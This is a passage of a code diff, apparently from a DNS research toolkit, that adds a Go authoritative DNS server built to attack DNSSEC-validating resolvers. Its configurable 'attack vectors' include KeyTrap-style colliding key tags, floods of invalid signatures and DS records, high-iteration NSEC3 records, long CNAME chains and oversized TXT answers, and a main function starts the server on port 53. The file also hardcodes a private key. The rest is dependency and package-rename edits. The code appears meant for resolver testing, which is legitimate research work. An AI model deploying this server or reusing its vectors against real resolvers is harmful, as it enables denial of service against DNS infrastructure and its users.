Delegation + IsDynamicDSNum bool + + // Tricks + // Large RRSet + TXTRRNum int // Resource Record Numer in RRSet + // Large RDATA + TXTRDataSize int // RDATA Size in Resource TXTRRNum + RandomString string + + // Long CNAME Chain + CNAMEChainNum int // CNAME Chain Number + + // NS Amplification + NSRRNum int // Resource Record Numer in RRSet + IsNSEC bool + NSECRRNum int + NSEC3ItertationNum int // NSEC3 Iteration Number + Salt string // NSEC3 Salt +} + +type KeyTrapManager struct { + // DNSSEC 配置 + DNSSECConf xdns.DNSSECConfig + + // 区域名与其相应 DNSSEC 材料的映射 + // 在初始化 DNSSEC Responser 时需要为其手动添加信任锚点 + DNSSECMap sync.Map + + // KeyTrap攻击向量 + AttackVec AttackVector +} + +// DNSSEC 材料 +type DNSSECMaterial struct { + // Key Tag + ZSKTag int + KSKTag int + + // 公钥RDATA + ZSKRecord dns.DNSResourceRecord + KSKRecord dns.DNSResourceRecord + + // 私钥字节 + ZSKPriv []byte + KSKPriv []byte +} + +// SignSection 为指定的DNS回复消息中的区域(Answer, Authority, Addition)进行签名 +// 其接受参数为: +// - section []dns.DNSResourceRecord,待签名的区域(Answer, Authority, Addition)信息 +// +// 返回值为: +// - []dns.DNSResourceRecord,签名后的区域(Answer, Authority, Addition)信息 +func (m *KeyTrapManager) SignSection(section []dns.DNSResourceRecord) []dns.DNSResourceRecord { + rMap := make(map[string][]dns.DNSResourceRecord) + for _, rr := range section { + if rr.Type == dns.DNSRRTypeRRSIG { + continue + } + rid := rr.Name + rr.Type.String() + rr.Class.String() + rMap[rid] = append(rMap[rid], rr) + } + for _, rrset := range rMap { + // SigJam攻击向量:CollidedSigNum + // 生成 错误RRSIG 记录 + uName := dns.GetUpperDomainName(&rrset[0].Name) + dMat := m.GetDNSSECMaterial(uName) + + for i := 0; i < m.AttackVec.CollidedSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + uName, + ) + section = append(section, wRRSIG) + } + sig := m.SignRRSet(rrset) + section = append(section, sig) + } + return section +} + +// SignRRSet 为指定的 RR 集合签名 +// 其接受参数为 +// - rrset []dns.DNSResourceRecord,RR 集合 +func (m *KeyTrapManager) SignRRSet(rrset []dns.DNSResourceRecord) dns.DNSResourceRecord { + var uName string + if len(strings.Split(rrset[0].Name, ".")) == 2 { + if rrset[0].Type == dns.DNSRRTypeNS || + rrset[0].Type == dns.DNSRRTypeNSEC || + rrset[0].Type == dns.DNSRRTypeNSEC3 { + uName = rrset[0].Name + } else { + uName = dns.GetUpperDomainName(&rrset[0].Name) + } + } else { + uName = dns.GetUpperDomainName(&rrset[0].Name) + } + + dMat := m.GetDNSSECMaterial(uName) + + sort.Sort(dns.ByCanonicalOrder(rrset)) + + sig := xperi.GenerateRRRRSIG( + rrset, + dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY).Algorithm, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + uName, + dMat.ZSKPriv, + ) + return sig +} + +// EnableDNSSEC 为指定的 DNS 查询启用 DNSSEC +// 其接受参数为: +// - qry dns.DNSMessage,查询信息 +// - resp *dns.DNSMessage,指向指定回复信息的指针 +func (m *KeyTrapManager) EnableDNSSEC(qry dns.DNSMessage, resp *dns.DNSMessage) { + qType := qry.Question[0].Type + + // ANY攻击向量 + if qType == dns.DNSQTypeANY { + // 生成任意类型的 RR 集合 + anyset := []dns.DNSResourceRecord{} + var sType = 4096 + for i := 0; i < m.AttackVec.ANYRRSetNum; i++ { + rr := dns.DNSResourceRecord{ + Name: qry.Question[0].Name, + Type: dns.DNSType(sType + i), + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 10, 10)}, + } + anyset = append(anyset, rr) + } + resp.Answer = append(resp.Answer, anyset...) + } + + // 签名回答部分 + resp.Answer = m.SignSection(resp.Answer) + // 签名权威部分 + resp.Authority = m.SignSection(resp.Authority) + // 签名附加部分 + resp.Additional = m.SignSection(resp.Additional) + m.EstablishToC(qry, resp) +} + +// CreateDNSSECMaterial 生成指定区域的 DNSSEC 材料 +// 其接受参数为: +// - zName string,区域名 +// +// 返回值为: +// - DNSSECMaterial,生成的 DNSSEC 材料 +func (m *KeyTrapManager) CreateDNSSECMaterial(zName string) DNSSECMaterial { + zskRecord, zskPriv := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) + zskTag := xperi.CalculateKeyTag(*zskRecord.RData.(*dns.DNSRDATADNSKEY)) + for zskTag < uint16(m.AttackVec.CollidedZSKNum) { + zskRecord, zskPriv = xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) + zskTag = xperi.CalculateKeyTag(*zskRecord.RData.(*dns.DNSRDATADNSKEY)) + } + + kskRecord, kskPriv := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) + kskTag := xperi.CalculateKeyTag(*kskRecord.RData.(*dns.DNSRDATADNSKEY)) + for kskTag < uint16(m.AttackVec.Invalid_DS_KSK_PairNum) { + kskRecord, kskPriv = xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) + kskTag = xperi.CalculateKeyTag(*kskRecord.RData.(*dns.DNSRDATADNSKEY)) + } + + return DNSSECMaterial{ + ZSKTag: int(zskTag), + KSKTag: int(kskTag), + + ZSKRecord: zskRecord, + KSKRecord: kskRecord, + + ZSKPriv: zskPriv, + KSKPriv: kskPriv, + } +} + +// GetDNSSECMaterial 获取指定区域的 DNSSEC 材料 +// 如果该区域的 DNSSEC 材料不存在,则会根据 DNSSEC 配置生成一个 +func (m *KeyTrapManager) GetDNSSECMaterial(zName string) DNSSECMaterial { + dMat, ok := m.DNSSECMap.Load(zName) + if !ok { + dMat = m.CreateDNSSECMaterial(zName) + m.DNSSECMap.Store(zName, dMat) + } + return dMat.(DNSSECMaterial) +} + +// EstablishToC 根据查询自动添加 DNSKEY,DS,RRSIG 记录 +// 自动完成信任链(Trust of Chain)的建立。 +// 其接受参数为: +// - qry dns.DNSMessage,查询信息 +// - m.DNSSECConf DNSSECConfig,DNSSEC 配置 +// - dMap map[string]DNSSECMaterial,区域名与其相应 DNSSEC 材料的映射 +// - resp *dns.DNSMessage,回复信息 +func (m *KeyTrapManager) EstablishToC(qry dns.DNSMessage, resp *dns.DNSMessage) error { + // 提取查询类型和查询名称 + qType := qry.Question[0].Type + qName := strings.ToLower(qry.Question[0].Name) + dMat := m.GetDNSSECMaterial(qName) + + if qType == dns.DNSRRTypeDNSKEY { + // 如果查询类型为 DNSKEY, + // LockCram攻击向量:CollidedKeyNum + // 生成 错误ZSK DNSKEY 记录 + rrset := []dns.DNSResourceRecord{} + if qName != "test" { + for i := 0; i < m.AttackVec.CollidedZSKNum; i++ { + wZSK := xperi.GenerateCollidedDNSKEY( + *dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY), + ) + rrset = append(rrset, dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(wZSK.Size()), + RData: &wZSK, + }) + } + } + + if qName != "test" { + // HashTrap攻击向量: CollidedKSKNum + // 生成 错误KSK DNSKEY 记录 + for i := 0; i < m.AttackVec.CollidedKSKNum; i++ { + wKSK := xperi.GenerateCollidedDNSKEY( + *dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY), + ) + rrset = append(rrset, dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(wKSK.Size()), + RData: &wKSK, + }) + } + } + + rrset = append(rrset, dMat.ZSKRecord, dMat.KSKRecord) + + // HashTrap v2 攻击向量: Invalid_DS_KSK_PairNum + if qName != "test" { + for i := 1; i <= m.AttackVec.Invalid_DS_KSK_PairNum; i++ { + // HashTrap v2攻击向量: InvalidCollidedKSKNum + // 生成 错误KSK DNSKEY 记录 + for i := 0; i < m.AttackVec.InvalidCollidedKSKNum; i++ { + wKSK := xperi.GenerateCollidedDNSKEY( + *dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY), + ) + rrset = append(rrset, dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(wKSK.Size()), + RData: &wKSK, + }) + } + } + } + + // 生成密钥集签名 + sort.Sort(dns.ByCanonicalOrder(rrset)) + + sigSet := []dns.DNSResourceRecord{} + // SigJam攻击向量:CollidedSigNum + // 生成 错误RRSIG 记录 + for i := 0; i < m.AttackVec.CollidedSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.KSKTag), + qName, + ) + sigSet = append(sigSet, wRRSIG) + } + + sig := xperi.GenerateRRRRSIG( + rrset, + dMat.KSKRecord.RData.(*dns.DNSRDATADNSKEY).Algorithm, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.KSKTag), + qName, + dMat.KSKPriv, + ) + sigSet = append(sigSet, sig) + rrset = append(rrset, sigSet...) + + resp.Answer = append(resp.Answer, rrset...) + resp.Header.RCode = dns.DNSResponseCodeNoErr + } else if qType == dns.DNSRRTypeDS { + // 如果查询类型为 DS,则生成 DS 记录 + dMat := m.GetDNSSECMaterial(qName) + + rrset := []dns.DNSResourceRecord{} + + // HashTrap v2 攻击 + for i := 0; i < m.AttackVec.Invalid_DS_KSK_PairNum; i++ { + kskTag := dMat.KSKTag - i + // HashTrap 攻击向量:InvalidCollidedDSNum + // 生成 错误DS 记录 + for i := 0; i < m.AttackVec.InvalidCollidedDSNum; i++ { + wDS := xperi.GenerateRandomRRDS(qName, kskTag, m.DNSSECConf.DAlgo, m.DNSSECConf.DType) + rrset = append(rrset, wDS) + resp.Answer = append(resp.Answer, wDS) + } + } + + // HashTrap 攻击向量:CollidedDSNum + // 生成 错误DS 记录 + if m.AttackVec.IsDynamicDSNum { + // DS RR Size = QNAME + 10 + RDATA(52) + // DS RRSet Size = DS RR Size * CollidedDSNum + // DS RRSet Size <= 65535 Bytes + // (QNAME + 10 + 52) * CollidedDSNum <= 65535 + // CollidedDSNum <= 65535 / (QNAME + 10 + 52) + qNameSize := dns.GetDomainNameWireLen(&qName) + collidedDSNum := 65000 / (qNameSize + 10 + 52) + for i := 0; i < collidedDSNum; i++ { + wDS := xperi.GenerateRandomRRDS(qName, dMat.KSKTag, m.DNSSECConf.DAlgo, m.DNSSECConf.DType) + rrset = append(rrset, wDS) + resp.Answer = append(resp.Answer, wDS) + } + } else { + for i := 0; i < m.AttackVec.CollidedDSNum; i++ { + wDS := xperi.GenerateRandomRRDS(qName, dMat.KSKTag, m.DNSSECConf.DAlgo, m.DNSSECConf.DType) + rrset = append(rrset, wDS) + resp.Answer = append(resp.Answer, wDS) + } + } + + // 生成正确DS记录 + kskRData, _ := dMat.KSKRecord.RData.(*dns.DNSRDATADNSKEY) + ds := xperi.GenerateRRDS(qName, *kskRData, m.DNSSECConf.DType) + rrset = append(rrset, ds) + resp.Answer = append(resp.Answer, ds) + + upName := dns.GetUpperDomainName(&qName) + dMat = m.GetDNSSECMaterial(upName) + + // 签名 + sort.Sort(dns.ByCanonicalOrder(rrset)) + + sigSet := []dns.DNSResourceRecord{} + // SigJam攻击向量:CollidedSigNum + // 生成 错误RRSIG 记录 + for i := 0; i < m.AttackVec.CollidedSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + upName, + ) + sigSet = append(sigSet, wRRSIG) + } + + sig := xperi.GenerateRRRRSIG( + rrset, + dns.DNSSECAlgorithm(dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY).Algorithm), + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + upName, + dMat.ZSKPriv, + ) + + sigSet = append(sigSet, sig) + + resp.Answer = append(resp.Answer, sigSet...) + resp.Header.RCode = dns.DNSResponseCodeNoErr + } + xdns.FixCount(resp) + return nil +} +func (r *KeyTrapResponser) Response(connInfo xdns.ConnectionInfo) ([]byte, error) { + // 解析查询信息 + qry, err := xdns.ParseQuery(connInfo) + if err != nil { + r.ResponserLogger.Printf("Error parsing query: %v", err) + return []byte{}, err + } + + // 将可能启用0x20混淆的查询名称转换为小写 + qName := strings.ToLower(qry.Question[0].Name) + qType := qry.Question[0].Type + qClass := qry.Question[0].Class + + r.ResponserLogger.Printf("Recive DNS Query from %s,Protocol: %s, Name: %s, Type: %s, Class: %s\n", + connInfo.Address.String(), connInfo.Protocol, qName, qType, qClass) + + // 初始化 NXDOMAIN 回复信息 + resp := xdns.InitNXDOMAIN(qry) + qLables := strings.Split(qName, ".") + + // Tricks攻击向量:NSRRNum + if r.AttackVector.NSRRNum > 0 { + if len(qLables) == 2 { + lable := qLables[0] + if len(lable) > 4 && lable[len(lable)-4:len(lable)-1] == "ref" { + nsNum, err := strconv.Atoi(lable[len(lable)-1:]) + if err != nil { + r.ResponserLogger.Printf("Error parsing NS number: %v", err) + return []byte{}, err + } + if qType == dns.DNSRRTypeNS { + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeNS, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATANS{NSDNAME: qName}, + } + resp.Answer = append(resp.Answer, rr) + } else if qType == dns.DNSRRTypeA { + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 3, byte(nsNum))}, + } + resp.Answer = append(resp.Answer, rr) + } + resp.Header.RCode = dns.DNSResponseCodeNoErr + } else { + // xxxx.test Referral + rrset := []dns.DNSResourceRecord{} + lable := qLables[0] + for i := 1; i <= r.AttackVector.NSRRNum; i++ { + // 生成 NS 记录 + rdata := dns.DNSRDATANS{ + NSDNAME: fmt.Sprintf("ns.%sref%d.test", lable, i), + } + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeNS, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(rdata.Size()), + RData: &rdata, + } + rrset = append(rrset, rr) + } + resp.Authority = rrset + resp.Header.RCode = dns.DNSResponseCodeNoErr + } + } else if len(qLables) == 3 { + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeNS, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATANS{NSDNAME: fmt.Sprintf("%s.%s", qLables[1], qLables[2])}, + } + resp.Authority = append(resp.Authority, rr) + resp.Header.RCode = dns.DNSResponseCodeNoErr + } + + } else { + + switch qType { + case dns.DNSRRTypeA: + // 生成 A 记录 + // Tricks攻击向量:CNAMEChainNum + cLength := 0 + if len(qLables[0]) > 4 && qLables[0][:5] == "cname" { + cLength, err = strconv.Atoi(qLables[0][5:]) + if err != nil { + r.ResponserLogger.Printf("Error parsing CNAME chain length: %v", err) + return []byte{}, err + } + } + if len(qLables) > 2 && cLength < r.AttackVector.CNAMEChainNum { + cLength += 1 + + nName := fmt.Sprintf("cname%d", cLength) + + for i := 1; i < len(qLables); i++ { + nName += "." + qLables[i] + } + + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeCNAME, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATACNAME{CNAME: nName}, + } + + resp.Answer = append(resp.Answer, rr) + } else { + if r.AttackVector.IsNSEC && qLables[0] == "www" { + // NSEC攻击向量 + upperName := dns.GetUpperDomainName(&qName) + randInt := rand.Int() % 99 + if r.AttackVector.NSEC3ItertationNum > -1 { + //生成NSEC3记录 + for i := 1; i < r.AttackVector.NSECRRNum; i++ { + //生成NSEC3记录 + rdata := dns.DNSRDATANSEC3{ + HashAlgorithm: 1, + Flags: 1, + Iterations: uint16(r.AttackVector.NSEC3ItertationNum), + SaltLength: 0, + Salt: r.AttackVector.Salt, + HashLength: 0, + NextHashedOwnerName: fmt.Sprintf("0%d.", randInt+i) + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("0%d.", randInt+i-1) + upperName, + Type: dns.DNSRRTypeNSEC3, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Authority = append(resp.Authority, rr) + } + rdata := dns.DNSRDATANSEC3{ + HashAlgorithm: 1, + Flags: 1, + Iterations: uint16(r.AttackVector.NSEC3ItertationNum), + SaltLength: 0, + Salt: r.AttackVector.Salt, + HashLength: 0, + NextHashedOwnerName: "zzz." + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("0%d.", randInt+r.AttackVector.NSECRRNum) + upperName, + Type: dns.DNSRRTypeNSEC3, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Authority = append(resp.Authority, rr) + } else { + for i := 1; i < r.AttackVector.NSECRRNum; i++ { + //生成NSEC记录 + rdata := dns.DNSRDATANSEC{ + NextDomainName: fmt.Sprintf("0%d.", randInt+i) + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("0%d.", randInt+i-1) + upperName, + Type: dns.DNSRRTypeNSEC, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Authority = append(resp.Authority, rr) + } + rdata := dns.DNSRDATANSEC{ + NextDomainName: "zzz." + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("0%d.", randInt+r.AttackVector.NSECRRNum) + upperName, + Type: dns.DNSRRTypeNSEC, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Authority = append(resp.Authority, rr) + } + } else { + if qLables[0] == "ns" { + nsNum, err := strconv.Atoi(qLables[1][len(qLables[1])-1:]) + if err != nil { + r.ResponserLogger.Printf("Error parsing NS number: %v", err) + return []byte{}, err + } + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 3, byte(nsNum))}, + } + resp.Answer = append(resp.Answer, rr) + } else { + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: ServerIP}, + } + resp.Answer = append(resp.Answer, rr) + } + } + } + case dns.DNSRRTypeNS: + // 生成 NS 记录 + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeNS, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATANS{NSDNAME: qName}, + } + resp.Answer = append(resp.Answer, rr) + case dns.DNSRRTypeTXT: + // Tricks攻击向量:TXTRRNum + for i := 0; i < r.AttackVector.TXTRRNum; i++ { + rRDATA := []byte{} + for j := i; j > 0; j /= 256 { + rRDATA = append(rRDATA, byte(j%256+1)) + } + + rdata := dns.DNSRDATATXT{ + TXT: string(rRDATA), + } + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeTXT, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Answer = append(resp.Answer, rr) + } + // Tricks攻击向量:TXTRDataSize + if r.AttackVector.TXTRDataSize > 0 { + rdata := dns.DNSRDATATXT{ + TXT: r.AttackVector.RandomString, + } + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeTXT, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Answer = append(resp.Answer, rr) + } + } + resp.Header.RCode = dns.DNSResponseCodeNoErr + } + + // 为回复信息添加 DNSSEC 记录 + if IsDNSSEC { + r.DNSSECManager.EnableDNSSEC(qry, &resp) + } + + if r.AttackVector.IsNSEC && qLables[0] == "www" { + resp.Header.RCode = dns.DNSResponseCodeNXDomain + upperName := dns.GetUpperDomainName(&qName) + var rr dns.DNSResourceRecord + if ExperiVec.NSEC3ItertationNum > -1 { + //生成NSEC3记录 + rdata := dns.DNSRDATANSEC3{ + HashAlgorithm: 1, + Flags: 1, + Iterations: uint16(ExperiVec.NSEC3ItertationNum), + SaltLength: 0, + Salt: ExperiVec.Salt, + HashLength: 0, + NextHashedOwnerName: fmt.Sprintf("00%d.", rand.Int()%99) + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr = dns.DNSResourceRecord{ + Name: upperName, + Type: dns.DNSRRTypeNSEC3, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + } else { + //生成NSEC记录 + rdata := dns.DNSRDATANSEC{ + NextDomainName: fmt.Sprintf("00%d.", rand.Int()%99) + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr = dns.DNSResourceRecord{ + Name: upperName, + Type: dns.DNSRRTypeNSEC, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + } + resp.Authority = append(resp.Authority, rr) + dMat := r.DNSSECManager.GetDNSSECMaterial(upperName) + for i := 0; i < ExperiVec.CollidedSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + []dns.DNSResourceRecord{rr}, + r.DNSSECManager.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + upperName, + ) + resp.Authority = append(resp.Authority, wRRSIG) + } + sig := xperi.GenerateRRRRSIG( + []dns.DNSResourceRecord{rr}, + r.DNSSECManager.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + upperName, + dMat.ZSKPriv, + ) + resp.Authority = append(resp.Authority, sig) + } + + // 修正计数字段,返回回复信息 + xdns.FixCount(&resp) + + data := resp.Encode() + + // 是否启用名称压缩 + if IsNameCompression { + crsp, err := dns.CompressDNSMessage(data) + if err != nil { + r.ResponserLogger.Printf("Error compressing response: %v", err) + return data, nil + } else { + return crsp, nil + } + } else { + return data, nil + } +} + +func getRandomString(size int) string { + charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + charsetLen := len(charset) + result := make([]byte, size) + for i := range result { + result[i] = charset[rand.Intn(charsetLen)] + } + return string(result) +} + +func main() { + conf := xdns.DNSServerConfig{ + IP: ServerIP, + Port: 53, + + // stdout + LogWriter: os.Stdout, + + EnebleCache: false, + CacheLocation: "./cache", + + PoolCapcity: -1, + } + + // 生成 KSK 和 ZSK + // 使用ParseKeyBase64解析预先生成的公钥, + // 该公钥应确保能够被解析器通过 信任锚(Trust Anchor)建立的 信任链(Chain of Trust) 所验证。 + kskPublic := xperi.ParseKeyBase64("MzJsFTtAo0j8qGpDIhEMnK4ImTyYwMwDPU5gt/FaXd6TOw6AvZDAj2hlhZvaxMXV6xCw1MU5iPv5ZQrb3NDLUU+TW07imJ5GD9YKi0Qiiypo+zhtL4aGaOG+870yHwuY") + kskPriv := xperi.ParseKeyBase64("ppaXHmb7u1jOxEzrLzuGKzbjmSLIK4gEhQOvws+cpBQyJbCwIM1Nrk4j5k94CP9e") + + material := InitMaterial("benign", dns.DNSSECAlgorithmECDSAP384SHA384, kskPublic, kskPriv) + + dMap := sync.Map{} + dMap.Store("benign", material) + + ExperiVec.RandomString = getRandomString(ExperiVec.TXTRDataSize) + + server := xdns.NewxdnsServer(conf, + &KeyTrapResponser{ + ResponserLogger: log.New(conf.LogWriter, "KeyTrapResponser: ", log.LstdFlags), + DNSSECManager: KeyTrapManager{ + DNSSECConf: xdns.DNSSECConfig{ + DAlgo: dns.DNSSECAlgorithmECDSAP384SHA384, + DType: dns.DNSSECDigestTypeSHA384, + }, + DNSSECMap: dMap, + AttackVec: ExperiVec, + }, + AttackVector: ExperiVec, + }, + ) + + server.Start() +} + +// InitTrustAnchor 根据 DNSSEC 配置生成指定区域的信任锚点 +// 其接受参数为: +// - zName string,区域名 +// - dConf DNSSECConfig,DNSSEC 配置 +// - kBytes []byte,KSK 公钥 +// - pkBytes []byte,KSK 私钥 +// +// 返回值为: +// - map[string]DNSSECMaterial,生成的信任锚点 +func InitMaterial(name string, algo dns.DNSSECAlgorithm, kskPublic, kskPriv []byte) DNSSECMaterial { + + zskRR, zskPriv := xperi.GenerateRRDNSKEY(name, algo, dns.DNSKEYFlagZoneKey) + zskRDATA := zskRR.RData.(*dns.DNSRDATADNSKEY) + + kskRDATA := dns.DNSRDATADNSKEY{ + Flags: dns.DNSKEYFlagSecureEntryPoint, + Protocol: dns.DNSKEYProtocolValue, + Algorithm: algo, + PublicKey: kskPublic, + } + + kskRR := dns.DNSResourceRecord{ + Name: name, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(kskRDATA.Size()), + RData: &kskRDATA, + } + + zskTag := xperi.CalculateKeyTag(*zskRDATA) + kskTag := xperi.CalculateKeyTag(kskRDATA) + + return DNSSECMaterial{ + ZSKTag: int(zskTag), + KSKTag: int(kskTag), + + ZSKRecord: zskRR, + KSKRecord: kskRR, + + ZSKPriv: zskPriv, + KSKPriv: kskPriv, + } +} diff --git a/go.mod b/go.mod index 5180b64..1b35b79 100644 --- a/go.mod +++ b/go.mod @@ -1,7 +1,5 @@ -module github.com/tochusc/godns +module github.com/tochusc/xdns go 1.23.2 -require github.com/panjf2000/ants/v2 v2.10.0 - -require golang.org/x/sync v0.3.0 // indirect +require golang.org/x/exp v0.0.0-20250218142911-aa4b98e5adaa // indirect diff --git a/go.sum b/go.sum index f1e8331..e9c6ae6 100644 --- a/go.sum +++ b/go.sum @@ -1,20 +1,2 @@ -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/panjf2000/ants/v2 v2.10.0 h1:zhRg1pQUtkyRiOFo2Sbqwjp0GfBNo9cUY2/Grpx1p+8= -github.com/panjf2000/ants/v2 v2.10.0/go.mod h1:7ZxyxsqE4vvW0M7LSD8aI3cKwgFhBHbxnlN8mDqHa1I= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= -github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= -github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E= -golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +golang.org/x/exp v0.0.0-20250218142911-aa4b98e5adaa h1:t2QcU6V556bFjYgu4L6C+6VrCPyJZ+eyRsABUPs1mz4= +golang.org/x/exp v0.0.0-20250218142911-aa4b98e5adaa/go.mod h1:BHOTPb3L19zxehTsLoJXVaTktb06DFgmdW6Wb9s8jqk= diff --git a/netter.go b/netter.go index 1966765..c4119ce 100644 --- a/netter.go +++ b/netter.go @@ -1,4 +1,4 @@ -package godns +package xdns import ( 